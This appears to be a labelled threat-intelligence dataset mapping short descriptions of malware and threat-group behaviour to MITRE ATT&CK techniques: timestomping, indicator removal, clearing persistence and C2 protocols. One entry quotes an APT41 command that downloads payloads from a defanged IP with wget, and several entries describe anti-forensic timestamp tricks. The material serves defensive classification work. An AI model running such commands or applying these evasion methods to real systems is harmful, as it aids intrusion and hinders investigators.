APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
APT5 has modified file timestamps.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Chimera has used a Windows version of the Linux `touch` command to modify the date and time stamp on DLLs.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Kimsuky has manipulated timestamps for creation or compilation dates to defeat anti-forensics.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Rocke has changed the time stamp of certain files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Attor has manipulated the time of last access to files and registry keys after they have been created or modified.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
BLINDINGCAN has modified file and directory timestamps.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Bankshot modifies the time of a file as specified by the control server.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
BitPaymer can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
China Chopper's server component can change the timestamp of files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Cobalt Strike can timestomp any files or payloads placed on a target machine to help them blend in.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Cyclops Blink has the ability to use the Linux API function `utime` to change the timestamps of modified firmware update images.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
The Derusbi malware supports timestomping.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
EVILNUM has changed the creation date of files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Elise performs timestomping of a CAB file it creates.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Empire can timestomp any files or payloads placed on a target machine to help them blend in.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
FALLCHILL can modify file or directory timestamps.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
For early Gazer versions, the compilation timestamp was faked.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Gelsemium has the ability to perform timestomping of files on targeted systems.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
InvisiMole samples were timestomped by the authors by setting the PE timestamps to all zero values. InvisiMole also has a built-in command to modify file times.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
KeyBoy time-stomped its DLL in order to evade detection.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Kobalos can modify timestamps of replaced files, such as `ssh` with the added credential stealer or `sshd` used to deploy Kobalos.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
MacMa has the capability to create and modify file timestamps.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
NightClub can modify the Creation, Access, and Write timestamps for malicious DLLs to match those of the genuine Windows DLL user32.dll.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Ninja can change or create the last access or write times.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
OSX_OCEANLOTUS.D can use the `touch -t` command to change timestamps.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
OwaAuth has a command to timestop a file or directory.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
PingPull has the ability to timestomp a file.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
PowerStallion modifies the MAC times of its local log files to match that of the victim's desktop.ini file.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Psylo has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
SEASHARPEE can timestomp files on victims using a Web shell.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Shamoon can change the modified time for files to evade forensic detection.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Stuxnet extracts and writes driver files that match the times of other legitimate files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
TAINTEDSCRIBE can change the timestamp of specified filenames.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
After creating a new service for persistence, TDTESS sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
USBStealer sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Winnti for Windows can set the timestamps for its worker and service components to match that of cmd.exe.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
metaMain can change the `CreationTime`, `LastAccessTime`, and `LastWriteTime` file time attributes when executed with `SYSTEM` privileges.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
Volt Typhoon have inspected server logs to remove their IPs.
Technique: T1070.007 Indicator Removal: Clear Network Connection History and Configurations, Tactic: TA0005 Defense Evasion
SUNBURST also removed the firewall rules it created during execution.
Technique: T1070.007 Indicator Removal: Clear Network Connection History and Configurations, Tactic: TA0005 Defense Evasion
During the SolarWinds Compromise, APT29 removed evidence of email export requests using `Remove-MailboxExportRequest`.
Technique: T1070.008 Indicator Removal: Clear Mailbox Data, Tactic: TA0005 Defense Evasion
Goopy has the ability to delete emails used for C2 once the content has been copied.
Technique: T1070.008 Indicator Removal: Clear Mailbox Data, Tactic: TA0005 Defense Evasion
Bazar's loader can delete scheduled tasks created by a previous instance of the malware.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
GrimAgent can delete previously created tasks on a compromised host.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
KOCTOPUS can delete created registry keys used for persistence as part of its cleanup procedure.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
MCMD has the ability to remove set Registry Keys, including those used for persistence.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
Misdat is capable of deleting Registry keys used for persistence.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
Pillowmint can uninstall the malicious service from an infected machine.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
RTM has the ability to remove Registry entries that it created for persistence.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
S-Type has deleted accounts it has created.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
SUNBURST removed IFEO registry values to clean up traces of persistence.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
njRAT is capable of manipulating and deleting registry keys, including those used for persistence.
Technique: T1070.009 Indicator Removal: Clear Persistence, Tactic: TA0005 Defense Evasion
Magic Hound malware has used IRC for C2.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Rocke issued wget requests from infected systems to the C2.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
TeamTNT has used an IRC bot for C2 communications.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Clambling has the ability to use Telnet for communication.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Hildegard has used an IRC channel for C2 communications.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Lucifer can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
QUIETEXIT can use an inverse negotiated SSH connection as part of its C2.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
Siloscape connects to an IRC server for C2.
Technique: T1071 Application Layer Protocol, Tactic: TA0011 Command and Control
During the 2015 Ukraine Electric Power Attack, Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During C0018, the threat actors used HTTP for C2 communications.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During C0021, the threat actors used HTTP for some of their C2 communications.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During Frankenstein, the threat actors used HTTP GET requests for C2.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During Night Dragon, threat actors used HTTP for C2.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control
During Operation Dream Job, Lazarus Group uses HTTP and HTTPS to contact actor-controlled C2 servers.
Technique: T1071.001 Application Layer Protocol: Web Protocols, Tactic: TA0011 Command and Control